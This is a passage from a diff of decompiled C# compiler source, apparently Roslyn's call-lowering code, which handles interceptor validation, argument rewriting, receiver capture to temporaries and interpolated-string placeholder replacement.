((EmbeddedTypesManager)((PEModuleBuilder)emitModule).EmbeddedTypesManagerOpt).EmbedMethodIfNeedTo(current.OriginalDefinition.GetCciAdapter(), syntaxNode, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + } + } + } + + private void EmbedIfNeedTo(BoundExpression receiver, ImmutableArray properties, SyntaxNode syntaxNode) + { + PEModuleBuilder emitModule = EmitModule; + if (emitModule == null || receiver == null || (object)receiver.Type == null) + { + return; + } + AssemblySymbol containingAssembly = receiver.Type.ContainingAssembly; + if ((object)containingAssembly != null && containingAssembly.IsLinked) + { + ImmutableArray.Enumerator enumerator = properties.GetEnumerator(); + while (enumerator.MoveNext()) + { + PropertySymbol current = enumerator.Current; + ((EmbeddedTypesManager)((PEModuleBuilder)emitModule).EmbeddedTypesManagerOpt).EmbedPropertyIfNeedTo(current.OriginalDefinition.GetCciAdapter(), syntaxNode, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + } + } + } + + private void InterceptCallAndAdjustArguments(ref MethodSymbol method, ref BoundExpression? receiverOpt, ref ImmutableArray arguments, ref ImmutableArray argumentRefKindsOpt, bool invokedAsExtensionMethod, SimpleNameSyntax? nameSyntax) + { + //IL_0119: Unknown result type (might be due to invalid IL or missing references) + //IL_0120: Invalid comparison between Unknown and I4 + //IL_015b: Unknown result type (might be due to invalid IL or missing references) + //IL_0160: Unknown result type (might be due to invalid IL or missing references) + //IL_0178: Unknown result type (might be due to invalid IL or missing references) + //IL_0138: Unknown result type (might be due to invalid IL or missing references) + //IL_013d: Unknown result type (might be due to invalid IL or missing references) + //IL_02df: Unknown result type (might be due to invalid IL or missing references) + //IL_02e6: Unknown result type (might be due to invalid IL or missing references) + //IL_03c0: Unknown result type (might be due to invalid IL or missing references) + //IL_03c5: Unknown result type (might be due to invalid IL or missing references) + //IL_03d0: Unknown result type (might be due to invalid IL or missing references) + //IL_0414: Unknown result type (might be due to invalid IL or missing references) + Location callLocation = ((nameSyntax != null) ? ((SyntaxNode)nameSyntax).Location : null); + (Location, MethodSymbol)? tuple = _compilation.TryGetInterceptor(callLocation); + if (!tuple.HasValue) + { + return; + } + var (val, methodSymbol) = tuple.GetValueOrDefault(); + if (methodSymbol.Arity != 0) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + method.ContainingType.GetAllTypeArgumentsNoUseSiteDiagnostics(instance); + instance.AddRange(method.TypeArgumentsWithAnnotations); + int count = instance.Count; + if (count == 0) + { + _diagnostics.Add(ErrorCode.ERR_InterceptorCannotBeGeneric, val, methodSymbol, method); + instance.Free(); + return; + } + if (methodSymbol.Arity != count) + { + _diagnostics.Add(ErrorCode.ERR_InterceptorArityNotCompatible, val, methodSymbol, count, method); + instance.Free(); + return; + } + methodSymbol = methodSymbol.Construct(instance.ToImmutableAndFree()); + if (!methodSymbol.CheckConstraints(new ConstraintsHelper.CheckConstraintsArgs(_compilation, _compilation.Conversions, includeNullability: true, val, _diagnostics))) + { + return; + } + } + if ((int)method.MethodKind != 10) + { + BindingDiagnosticBag diagnostics = _diagnostics; + object[] array = new object[1]; + SyntaxToken identifier = nameSyntax.Identifier; + array[0] = ((SyntaxToken)(ref identifier)).ValueText; + diagnostics.Add(ErrorCode.ERR_InterceptableMethodMustBeOrdinary, val, array); + return; + } + MethodSymbol currentFunction = _factory.CurrentFunction; + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(); + bool num = AccessCheck.IsSymbolAccessible(methodSymbol, currentFunction.ContainingType, ref useSiteInfo); + ((BindingDiagnosticBag)(object)_diagnostics).Add(val, useSiteInfo); + if (!num) + { + _diagnostics.Add(ErrorCode.ERR_InterceptorNotAccessible, val, methodSymbol, currentFunction); + return; + } + BoundExpression boundExpression = receiverOpt; + bool flag = ((boundExpression == null || boundExpression is BoundTypeExpression) ? true : false); + bool flag2 = !flag && methodSymbol.IsExtensionMethod; + MethodSymbol methodSymbol2 = (flag2 ? ReducedExtensionMethodSymbol.Create(methodSymbol, receiverOpt.Type, _compilation) : methodSymbol); + if (!MemberSignatureComparer.InterceptorsComparer.Equals(method, methodSymbol2)) + { + _diagnostics.Add(ErrorCode.ERR_InterceptorSignatureMismatch, val, method, methodSymbol); + return; + } + SourceMemberContainerTypeSymbol.CheckValidNullableMethodOverride(_compilation, method, methodSymbol2, _diagnostics, delegate(BindingDiagnosticBag bindingDiagnosticBag, MethodSymbol methodSymbol3, MethodSymbol interceptor, bool topLevel, Location attributeLocation) + { + bindingDiagnosticBag.Add(ErrorCode.WRN_NullabilityMismatchInReturnTypeOnInterceptor, attributeLocation, methodSymbol3); + }, delegate(BindingDiagnosticBag bindingDiagnosticBag, MethodSymbol methodSymbol3, MethodSymbol interceptor, ParameterSymbol implementingParameter, bool blameAttributes, Location attributeLocation) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Expected O, but got Unknown + bindingDiagnosticBag.Add(ErrorCode.WRN_NullabilityMismatchInParameterTypeOnInterceptor, attributeLocation, (object)new FormattedSymbol((ISymbolInternal)(object)implementingParameter, SymbolDisplayFormat.ShortFormat), methodSymbol3); + }, val); + if (!MemberSignatureComparer.InterceptorsStrictComparer.Equals(method, methodSymbol2)) + { + _diagnostics.Add(ErrorCode.WRN_InterceptorSignatureMismatch, val, method, methodSymbol); + } + method.TryGetThisParameter(out var thisParameter); + methodSymbol2.TryGetThisParameter(out var thisParameter2); + ParameterSymbol parameterSymbol = thisParameter; + ParameterSymbol parameterSymbol2 = thisParameter2; + if ((object)parameterSymbol == null) + { + if ((object)parameterSymbol2 != null) + { + _diagnostics.Add(ErrorCode.ERR_InterceptorMustNotHaveThisParameter, val, method); + return; + } + } + else if ((object)parameterSymbol2 == null || !thisParameter.Type.Equals(thisParameter2.Type, (TypeCompareKind)16) || thisParameter.RefKind != thisParameter2.RefKind) + { + _diagnostics.Add(ErrorCode.ERR_InterceptorMustHaveMatchingThisParameter, val, thisParameter, method); + return; + } + if (invokedAsExtensionMethod && methodSymbol.IsStatic && !methodSymbol.IsExtensionMethod) + { + _diagnostics.Add(ErrorCode.ERR_InterceptorMustHaveMatchingThisParameter, val, method.Parameters[0], method); + } + else + { + if (SourceMemberContainerTypeSymbol.CheckValidScopedOverride(method, methodSymbol2, _diagnostics, delegate(BindingDiagnosticBag bindingDiagnosticBag, MethodSymbol methodSymbol3, MethodSymbol symbolForCompare, ParameterSymbol implementingParameter, bool blameAttributes, Location attributeLocation) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_InterceptorScopedMismatch, attributeLocation, methodSymbol3, symbolForCompare); + }, val, allowVariance: true, invokedAsExtensionMethod: false)) + { + return; + } + if (flag2) + { + arguments = arguments.Insert(0, receiverOpt); + receiverOpt = null; + RefKind refKind = thisParameter.RefKind; + if (argumentRefKindsOpt.IsDefault && (int)refKind != 0) + { + argumentRefKindsOpt = ImmutableArrayExtensions.SelectAsArray(method.Parameters, (Func)((ParameterSymbol param) => param.RefKind)); + } + if (!argumentRefKindsOpt.IsDefault) + { + argumentRefKindsOpt = argumentRefKindsOpt.Insert(0, refKind); + } + } + method = methodSymbol; + } + } + + public override BoundNode VisitCall(BoundCall node) + { + BoundExpression boundExpression; + if (tryGetReceiver(node, out var receiver)) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilderExtensions.Push(instance, node); + node = receiver; + BoundCall receiver2; + while (tryGetReceiver(node, out receiver2)) + { + ArrayBuilderExtensions.Push(instance, node); + node = receiver2; + } + BoundExpression rewrittenReceiver = VisitExpression(node.ReceiverOpt); + do + { + boundExpression = visitArgumentsAndFinishRewrite(node, rewrittenReceiver); + rewrittenReceiver = boundExpression; + } + while (ArrayBuilderExtensions.TryPop(instance, ref node)); + instance.Free(); + } + else + { + BoundExpression rewrittenReceiver2 = VisitExpression(node.ReceiverOpt); + boundExpression = visitArgumentsAndFinishRewrite(node, rewrittenReceiver2); + } + return boundExpression; + static bool tryGetReceiver(BoundCall boundCall2, [MaybeNullWhen(false)] out BoundCall reference) + { + if (boundCall2.ReceiverOpt is BoundCall boundCall) + { + reference = boundCall; + return true; + } + if (boundCall2.InvokedAsExtensionMethod) + { + ImmutableArray arguments = boundCall2.Arguments; + if (arguments.Length >= 1 && arguments[0] is BoundCall boundCall3) + { + reference = boundCall3; + return true; + } + } + reference = null; + return false; + } + BoundExpression visitArgumentsAndFinishRewrite(BoundCall boundCall, BoundExpression? rewrittenReceiver3) + { + MethodSymbol method = boundCall.Method; + ImmutableArray argsToParamsOpt = boundCall.ArgsToParamsOpt; + ImmutableArray argumentRefKindsOpt = boundCall.ArgumentRefKindsOpt; + ImmutableArray arguments = boundCall.Arguments; + bool invokedAsExtensionMethod = boundCall.InvokedAsExtensionMethod; + BoundExpression firstRewrittenArgument = null; + if (rewrittenReceiver3 != null && boundCall.ReceiverOpt == null) + { + firstRewrittenArgument = rewrittenReceiver3; + rewrittenReceiver3 = null; + } + ArrayBuilder tempsOpt = null; + ImmutableArray rewrittenArguments = VisitArgumentsAndCaptureReceiverIfNeeded(ref rewrittenReceiver3, ReceiverCaptureMode.Default, arguments, method, argsToParamsOpt, argumentRefKindsOpt, null, ref tempsOpt, firstRewrittenArgument); + rewrittenArguments = MakeArguments(boundCall.Syntax, rewrittenArguments, method, boundCall.Expanded, argsToParamsOpt, ref argumentRefKindsOpt, ref tempsOpt, invokedAsExtensionMethod); + InterceptCallAndAdjustArguments(ref method, ref rewrittenReceiver3, ref rewrittenArguments, ref argumentRefKindsOpt, invokedAsExtensionMethod, boundCall.InterceptableNameSyntax); + BoundExpression boundExpression2 = MakeCall(boundCall, boundCall.Syntax, rewrittenReceiver3, method, rewrittenArguments, argumentRefKindsOpt, boundCall.ResultKind, boundCall.Type, tempsOpt.ToImmutableAndFree()); + if (Instrument) + { + boundExpression2 = Instrumenter.InstrumentCall(boundCall, boundExpression2); + } + return boundExpression2; + } + } + + private BoundExpression MakeArgumentsAndCall(SyntaxNode syntax, BoundExpression? rewrittenReceiver, MethodSymbol method, ImmutableArray arguments, ImmutableArray argumentRefKindsOpt, bool expanded, bool invokedAsExtensionMethod, ImmutableArray argsToParamsOpt, LookupResultKind resultKind, TypeSymbol type, ArrayBuilder? temps, BoundCall? nodeOpt = null) + { + arguments = MakeArguments(syntax, arguments, method, expanded, argsToParamsOpt, ref argumentRefKindsOpt, ref temps, invokedAsExtensionMethod); + return MakeCall(nodeOpt, syntax, rewrittenReceiver, method, arguments, argumentRefKindsOpt, resultKind, type, temps.ToImmutableAndFree()); + } + + private BoundExpression MakeCall(BoundCall? node, SyntaxNode syntax, BoundExpression? rewrittenReceiver, MethodSymbol method, ImmutableArray rewrittenArguments, ImmutableArray argumentRefKinds, LookupResultKind resultKind, TypeSymbol type, ImmutableArray temps) + { + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + //IL_00b8: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + BoundExpression boundExpression = ((method.IsStatic && method.ContainingType.IsObjectType() && !_inExpressionLambda && (object)method == _compilation.GetSpecialTypeMember((SpecialMember)101)) ? ((BoundExpression)new BoundBinaryOperator(syntax, BinaryOperatorKind.ObjectEqual, null, null, null, resultKind, rewrittenArguments[0], rewrittenArguments[1], type)) : ((BoundExpression)((node != null) ? node.Update(rewrittenReceiver, (ThreeState)0, method, rewrittenArguments, default(ImmutableArray), argumentRefKinds, node.IsDelegateCall, expanded: false, invokedAsExtensionMethod: false, default(ImmutableArray), default(BitVector), node.ResultKind, node.Type) : new BoundCall(syntax, rewrittenReceiver, (ThreeState)0, method, rewrittenArguments, default(ImmutableArray), argumentRefKinds, isDelegateCall: false, expanded: false, invokedAsExtensionMethod: false, default(ImmutableArray), default(BitVector), resultKind, type)))); + if (!temps.IsDefaultOrEmpty) + { + return new BoundSequence(syntax, temps, ImmutableArray.Empty, boundExpression, type); + } + return boundExpression; + } + + private BoundExpression MakeCall(SyntaxNode syntax, BoundExpression? rewrittenReceiver, MethodSymbol method, ImmutableArray rewrittenArguments, TypeSymbol type) + { + return MakeCall(null, syntax, rewrittenReceiver, method, rewrittenArguments, default(ImmutableArray), LookupResultKind.Viable, type, default(ImmutableArray)); + } + + private static bool IsSafeForReordering(BoundExpression expression, RefKind kind) + { + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Invalid comparison between Unknown and I4 + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + BoundExpression boundExpression = expression; + while (!(boundExpression.ConstantValueOpt != (ConstantValue)null)) + { + switch (boundExpression.Kind) + { + default: + return false; + case BoundKind.Local: + case BoundKind.Parameter: + return (int)kind > 0; + case BoundKind.PassByCopy: + return IsSafeForReordering(((BoundPassByCopy)boundExpression).Expression, kind); + case BoundKind.Conversion: + { + BoundConversion boundConversion = (BoundConversion)boundExpression; + switch (boundConversion.ConversionKind) + { + case ConversionKind.NullLiteral: + case ConversionKind.ImplicitConstant: + case ConversionKind.AnonymousFunction: + case ConversionKind.MethodGroup: + case ConversionKind.DefaultLiteral: + return true; + case ConversionKind.Identity: + case ConversionKind.ImplicitNumeric: + case ConversionKind.ImplicitEnumeration: + case ConversionKind.ImplicitNullable: + case ConversionKind.ImplicitReference: + case ConversionKind.Boxing: + case ConversionKind.ImplicitPointerToVoid: + case ConversionKind.ImplicitNullToPointer: + case ConversionKind.ImplicitDynamic: + case ConversionKind.ExplicitDynamic: + case ConversionKind.ExplicitNumeric: + case ConversionKind.ExplicitEnumeration: + case ConversionKind.ExplicitNullable: + case ConversionKind.ExplicitReference: + case ConversionKind.Unboxing: + case ConversionKind.ExplicitPointerToPointer: + case ConversionKind.ExplicitIntegerToPointer: + case ConversionKind.ExplicitPointerToInteger: + break; + case ConversionKind.ImplicitThrow: + case ConversionKind.ImplicitUserDefined: + case ConversionKind.ExplicitUserDefined: + case ConversionKind.IntPtr: + return false; + default: + return false; + } + boundExpression = boundConversion.Operand; + break; + } + } + } + return true; + } + + internal static bool IsCapturedPrimaryConstructorParameter(BoundExpression expression) + { + if (expression is BoundParameter boundParameter) + { + ParameterSymbol parameterSymbol = boundParameter.ParameterSymbol; + if ((object)parameterSymbol != null && parameterSymbol.ContainingSymbol is SynthesizedPrimaryConstructor synthesizedPrimaryConstructor) + { + return synthesizedPrimaryConstructor.GetCapturedParameters().ContainsKey(parameterSymbol); + } + } + return false; + } + + private ImmutableArray VisitArgumentsAndCaptureReceiverIfNeeded([NotNullIfNotNull("rewrittenReceiver")] ref BoundExpression? rewrittenReceiver, ReceiverCaptureMode captureReceiverMode, ImmutableArray arguments, Symbol methodOrIndexer, ImmutableArray argsToParamsOpt, ImmutableArray argumentRefKindsOpt, ArrayBuilder? storesOpt, ref ArrayBuilder? tempsOpt, BoundExpression? firstRewrittenArgument = null) + { + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Invalid comparison between Unknown and I4 + //IL_00c5: Unknown result type (might be due to invalid IL or missing references) + //IL_00ca: Unknown result type (might be due to invalid IL or missing references) + //IL_00cc: Unknown result type (might be due to invalid IL or missing references) + //IL_0102: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Invalid comparison between Unknown and I4 + //IL_0144: Unknown result type (might be due to invalid IL or missing references) + //IL_0149: Unknown result type (might be due to invalid IL or missing references) + //IL_00bf: Unknown result type (might be due to invalid IL or missing references) + //IL_00f6: Unknown result type (might be due to invalid IL or missing references) + bool flag = methodOrIndexer.RequiresInstanceReceiver(); + if (flag) + { + bool flag2 = ((!(methodOrIndexer is MethodSymbol methodSymbol) || ((int)methodSymbol.MethodKind != 1 && !(methodOrIndexer is FunctionPointerMethodSymbol))) ? true : false); + flag = flag2; + } + bool flag3 = flag; + BoundLocal boundLocal = null; + BoundAssignmentOperator store = null; + if (captureReceiverMode != ReceiverCaptureMode.Default || (flag3 && arguments.Any((BoundExpression a) => usesReceiver(a)))) + { + RefKind val; + if (captureReceiverMode != ReceiverCaptureMode.Default) + { + val = (RefKind)((rewrittenReceiver.Type.IsValueType || (int)rewrittenReceiver.Type.Kind == 17) ? 1 : 0); + } + else + { + val = rewrittenReceiver.GetRefKind(); + if ((int)val == 0 && !rewrittenReceiver.Type.IsReferenceType && Binder.HasHome(rewrittenReceiver, Binder.AddressKind.Constrained, _factory.CurrentFunction, peVerifyCompatEnabled: false, null)) + { + val = (RefKind)1; + } + } + boundLocal = _factory.StoreToTemp(rewrittenReceiver, out store, val, (SynthesizedLocalKind)(-2)); + if (tempsOpt == null) + { + tempsOpt = ArrayBuilder.GetInstance(); + } + tempsOpt.Add(boundLocal.LocalSymbol); + } + ImmutableArray immutableArray; + if (arguments.IsEmpty) + { + immutableArray = arguments; + } + else + { + BitVector argumentsAssignedToTemp = BitVector.Null; + ArrayBuilder instance = ArrayBuilder.GetInstance(arguments.Length); + ImmutableArray parameters = methodOrIndexer.GetParameters(); + for (int num = 0; num < arguments.Length; num++) + { + BoundExpression boundExpression = arguments[num]; + if (boundExpression is BoundDiscardExpression node) + { + ensureTempTrackingSetup(ref tempsOpt, ref argumentsAssignedToTemp); + instance.Add((BoundExpression)_factory.MakeTempForDiscard(node, tempsOpt)); + ((BitVector)(ref argumentsAssignedToTemp))[num] = true; + continue; + } + ImmutableArray immutableArray2 = addInterpolationPlaceholderReplacements(parameters, instance, num, boundLocal, ref tempsOpt, ref argumentsAssignedToTemp); + instance.Add((num == 0 && firstRewrittenArgument != null) ? firstRewrittenArgument : VisitExpression(boundExpression)); + ImmutableArray.Enumerator enumerator = immutableArray2.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundInterpolatedStringArgumentPlaceholder current = enumerator.Current; + if (current.ArgumentIndex != -2) + { + RemovePlaceholderReplacement(current); + } + } + } + immutableArray = instance.ToImmutableAndFree(); + } + if (boundLocal != null) + { + BoundAssignmentOperator extraRefInitialization = null; + if (boundLocal.LocalSymbol.IsRef && CodeGenerator.IsPossibleReferenceTypeReceiverOfConstrainedCall(boundLocal) && !CodeGenerator.ReceiverIsKnownToReferToTempIfReferenceType(boundLocal) && (captureReceiverMode == ReceiverCaptureMode.UseTwiceComplex || !CodeGenerator.IsSafeToDereferenceReceiverRefAfterEvaluatingArguments(immutableArray))) + { + ReferToTempIfReferenceTypeReceiver(boundLocal, ref store, out extraRefInitialization, tempsOpt); + } + if (storesOpt != null) + { + if (extraRefInitialization != null) + { + storesOpt.Add((BoundExpression)extraRefInitialization); + } + storesOpt.Add((BoundExpression)store); + rewrittenReceiver = boundLocal; + } + else + { + rewrittenReceiver = _factory.Sequence(ImmutableArray.Empty, (extraRefInitialization != null) ? ImmutableArray.Create((BoundExpression)extraRefInitialization, (BoundExpression)store) : ImmutableArray.Create((BoundExpression)store), boundLocal); + } + } + return immutableArray; + ImmutableArray addInterpolationPlaceholderReplacements(ImmutableArray immutableArray3, ArrayBuilder visitedArgumentsBuilder, int argumentIndex, BoundLocal? receiverTemp, ref ArrayBuilder? reference, ref BitVector reference2) + { + //IL_0156: Unknown result type (might be due to invalid IL or missing references) + //IL_015b: Unknown result type (might be due to invalid IL or missing references) + //IL_0166: Unknown result type (might be due to invalid IL or missing references) + //IL_016b: Unknown result type (might be due to invalid IL or missing references) + //IL_017e: Unknown result type (might be due to invalid IL or missing references) + //IL_0181: Unknown result type (might be due to invalid IL or missing references) + //IL_0183: Invalid comparison between Unknown and I4 + //IL_0193: Unknown result type (might be due to invalid IL or missing references) + BoundConversion boundConversion = arguments[argumentIndex] as BoundConversion; + bool flag4; + if (boundConversion != null && boundConversion.ConversionKind == ConversionKind.InterpolatedStringHandler) + { + BoundExpression operand = boundConversion.Operand; + if (operand is BoundInterpolatedString || operand is BoundBinaryOperator) + { + flag4 = true; + goto IL_003d; + } + } + flag4 = false; + goto IL_003d; + IL_003d: + if (flag4) + { + InterpolatedStringHandlerData interpolatedStringHandlerData = boundConversion.Operand.GetInterpolatedStringHandlerData(); + if (interpolatedStringHandlerData.ArgumentPlaceholders.Length > (interpolatedStringHandlerData.HasTrailingHandlerValidityParameter ? 1 : 0)) + { + ensureTempTrackingSetup(ref reference, ref reference2); + ImmutableArray.Enumerator enumerator2 = interpolatedStringHandlerData.ArgumentPlaceholders.GetEnumerator(); + while (enumerator2.MoveNext()) + { + BoundInterpolatedStringArgumentPlaceholder current2 = enumerator2.Current; + int argumentIndex2 = current2.ArgumentIndex; + int num2 = argumentIndex2; + BoundLocal boundLocal2; + BoundExpression boundExpression2; + if (num2 < 0) + { + if (num2 == -2) + { + continue; + } + if (num2 != -1) + { + throw ExceptionUtilities.UnexpectedValue((object)argumentIndex2); + } + boundLocal2 = receiverTemp; + } + else if (((BitVector)(ref reference2))[argumentIndex2]) + { + boundExpression2 = visitedArgumentsBuilder[argumentIndex2]; + BoundLocal boundLocal4; + if (boundExpression2 is BoundSequence boundSequence) + { + if (!(boundSequence.Value is BoundLocal boundLocal3)) + { + goto IL_0110; + } + boundLocal4 = boundLocal3; + } + else + { + if (!(boundExpression2 is BoundLocal boundLocal5)) + { + goto IL_0110; + } + boundLocal4 = boundLocal5; + } + boundLocal2 = boundLocal4; + } + else + { + int index = (argsToParamsOpt.IsDefault ? argumentIndex2 : argsToParamsOpt[argumentIndex2]); + RefKind val2 = argumentRefKindsOpt.RefKinds(argumentIndex2); + RefKind refKind = immutableArray3[index].RefKind; + BoundExpression boundExpression3 = visitedArgumentsBuilder[argumentIndex2]; + SyntheticBoundNodeFactory factory = _factory; + BoundExpression operand = boundExpression3; + flag4 = refKind - 3 <= 1; + boundLocal2 = factory.StoreToTemp(operand, out BoundAssignmentOperator store2, (RefKind)(flag4 ? 3 : ((int)val2)), (SynthesizedLocalKind)(-2)); + reference.Add(boundLocal2.LocalSymbol); + visitedArgumentsBuilder[argumentIndex2] = _factory.Sequence(ImmutableArray.Empty, ImmutableArray.Create((BoundExpression)store2), boundLocal2); + ((BitVector)(ref reference2))[argumentIndex2] = true; + } + AddPlaceholderReplacement(current2, boundLocal2); + continue; + IL_0110: + throw ExceptionUtilities.UnexpectedValue((object)boundExpression2.Kind); + } + return interpolatedStringHandlerData.ArgumentPlaceholders; + } + } + return ImmutableArray.Empty; + } + void ensureTempTrackingSetup([NotNull] ref ArrayBuilder? reference, ref BitVector positionsAssignedToTemp) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + if (reference == null) + { + reference = ArrayBuilder.GetInstance(); + } + if (((BitVector)(ref positionsAssignedToTemp)).IsNull) + { + positionsAssignedToTemp = BitVector.Create(arguments.Length); + } + } + static bool usesReceiver(BoundExpression argument) + { + BoundConversion boundConversion = argument as BoundConversion; + bool flag4; + if (boundConversion != null && boundConversion.ConversionKind == ConversionKind.InterpolatedStringHandler) + { + BoundExpression operand = boundConversion.Operand; + if (operand is BoundInterpolatedString || operand is BoundBinaryOperator) + { + flag4 = true; + goto IL_0031; + } + } + flag4 = false; + goto IL_0031; + IL_0031: + if (flag4) + { + InterpolatedStringHandlerData interpolatedStringHandlerData = boundConversion.Operand.GetInterpolatedStringHandlerData(); + if (interpolatedStringHandlerData.ArgumentPlaceholders.Length > (interpolatedStringHandlerData.HasTrailingHandlerValidityParameter ? 1 : 0)) + { + ImmutableArray.Enumerator enumerator2 = interpolatedStringHandlerData.ArgumentPlaceholders.GetEnumerator(); + while (enumerator2.MoveNext()) + { + if (enumerator2.Current.ArgumentIndex == -1) + { + return true; + } + } + } + } + return false; + } + } + + private void ReferToTempIfReferenceTypeReceiver(BoundLocal receiverTemp, ref BoundAssignmentOperator assignmentToTemp, out BoundAssignmentOperator? extraRefInitialization, ArrayBuilder temps) + { + TypeSymbol type = receiverTemp.Type; + BoundLocal boundLocal = _factory.Local(_factory.SynthesizedLocal(type, null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2))); + temps.Add(boundLocal.LocalSymbol); + if (!type.IsReferenceType) + { + BoundLocal boundLocal2 = _factory.Local(_factory.SynthesizedLocal(type, null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)1, (SynthesizedLocalKind)(-2))); + temps.Add(boundLocal2.LocalSymbol); + extraRefInitialization = assignmentToTemp.Update(boundLocal2, assignmentToTemp.Right, assignmentToTemp.IsRef, assignmentToTemp.Type); + assignmentToTemp = assignmentToTemp.Update(assignmentToTemp.Left, new BoundComplexConditionalReceiver(receiverTemp.Syntax, boundLocal2, _factory.Sequence(new BoundExpression[1] { _factory.AssignmentExpression(boundLocal, boundLocal2) }, boundLocal), type) + { + WasCompilerGenerated = true + }, assignmentToTemp.IsRef, assignmentToTemp.Type); + } + else + { + extraRefInitialization = null; + assignmentToTemp = assignmentToTemp.Update(assignmentToTemp.Left, _factory.Sequence(new BoundExpression[1] { _factory.AssignmentExpression(boundLocal, assignmentToTemp.Right) }, boundLocal), assignmentToTemp.IsRef, assignmentToTemp.Type); + } + ((SynthesizedLocal)receiverTemp.LocalSymbol).SetIsKnownToReferToTempIfReferenceType(); + } + + private ImmutableArray MakeArguments(SyntaxNode syntax, ImmutableArray rewrittenArguments, Symbol methodOrIndexer, bool expanded, ImmutableArray argsToParamsOpt, ref ImmutableArray argumentRefKindsOpt, [NotNull] ref ArrayBuilder? temps, bool invokedAsExtensionMethod = false) + { + if (temps == null) + { + temps = ArrayBuilder.GetInstance(); + } + ImmutableArray parameters = methodOrIndexer.GetParameters(); + if (CanSkipRewriting(rewrittenArguments, methodOrIndexer, expanded, argsToParamsOpt, invokedAsExtensionMethod, ignoreComReceiver: false, out var isComReceiver)) + { + argumentRefKindsOpt = GetEffectiveArgumentRefKinds(argumentRefKindsOpt, parameters); + return rewrittenArguments; + } + BoundExpression[] array = new BoundExpression[parameters.Length]; + ArrayBuilder instance = ArrayBuilder.GetInstance(rewrittenArguments.Length); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(parameters.Length, (RefKind)0); + BuildStoresToTemps(expanded, argsToParamsOpt, parameters, argumentRefKindsOpt, rewrittenArguments, forceLambdaSpilling: false, array, instance2, instance); + OptimizeTemporaries(array, instance, temps); + instance.Free(); + if (expanded) + { + array[^1] = BuildParamsArray(syntax, argsToParamsOpt, rewrittenArguments, parameters, array[^1]); + } + if (isComReceiver) + { + RewriteArgumentsForComCall(parameters, array, instance2, temps); + } + argumentRefKindsOpt = GetRefKindsOrNull(instance2); + instance2.Free(); + return ImmutableArrayExtensions.AsImmutableOrNull(array); + } + + private static ImmutableArray GetEffectiveArgumentRefKinds(ImmutableArray argumentRefKindsOpt, ImmutableArray parameters) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Invalid comparison between Unknown and I4 + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Invalid comparison between Unknown and I4 + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder refKindsBuilder = null; + for (int i = 0; i < parameters.Length; i++) + { + RefKind refKind = parameters[i].RefKind; + if (refKind - 3 <= 1) + { + RefKind val = (RefKind)((!argumentRefKindsOpt.IsDefault) ? ((int)argumentRefKindsOpt[i]) : 0); + fillRefKindsBuilder(argumentRefKindsOpt, parameters, ref refKindsBuilder); + refKindsBuilder[i] = (RefKind)(((int)val == 0) ? 3 : 5); + } + else if ((int)refKind == 1 && (argumentRefKindsOpt.IsDefault || (int)argumentRefKindsOpt[i] == 0)) + { + fillRefKindsBuilder(argumentRefKindsOpt, parameters, ref refKindsBuilder); + refKindsBuilder[i] = (RefKind)1; + } + } + if (refKindsBuilder != null) + { + argumentRefKindsOpt = refKindsBuilder.ToImmutableAndFree(); + } + return argumentRefKindsOpt; + static void fillRefKindsBuilder(ImmutableArray immutableArray, ImmutableArray immutableArray2, [NotNull] ref ArrayBuilder? reference) + { + if (reference == null) + { + if (!immutableArray.IsDefault) + { + reference = ArrayBuilder.GetInstance(immutableArray2.Length); + reference.AddRange(immutableArray); + } + else + { + reference = ArrayBuilder.GetInstance(immutableArray2.Length, (RefKind)0); + } + } + } + } + + internal static ImmutableArray MakeArgumentsInEvaluationOrder(CSharpOperationFactory operationFactory, CSharpCompilation compilation, SyntaxNode syntax, ImmutableArray arguments, Symbol methodOrIndexer, bool expanded, ImmutableArray argsToParamsOpt, BitVector defaultArguments, bool invokedAsExtensionMethod) + { + //IL_00b6: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + if (CanSkipRewriting(arguments, methodOrIndexer, expanded, argsToParamsOpt, invokedAsExtensionMethod, ignoreComReceiver: true, out var _)) + { + ImmutableArray parameters = methodOrIndexer.GetParameters(); + ArrayBuilder instance = ArrayBuilder.GetInstance(arguments.Length); + int i; + for (i = 0; i < parameters.Length; i++) + { + ArgumentKind kind = (ArgumentKind)((!((BitVector)(ref defaultArguments))[i]) ? 1 : 3); + instance.Add(operationFactory.CreateArgumentOperation(kind, parameters[i].GetPublicSymbol(), arguments[i])); + } + for (; i < arguments.Length; i++) + { + ArgumentKind kind2 = (ArgumentKind)((!((BitVector)(ref defaultArguments))[i]) ? 1 : 3); + 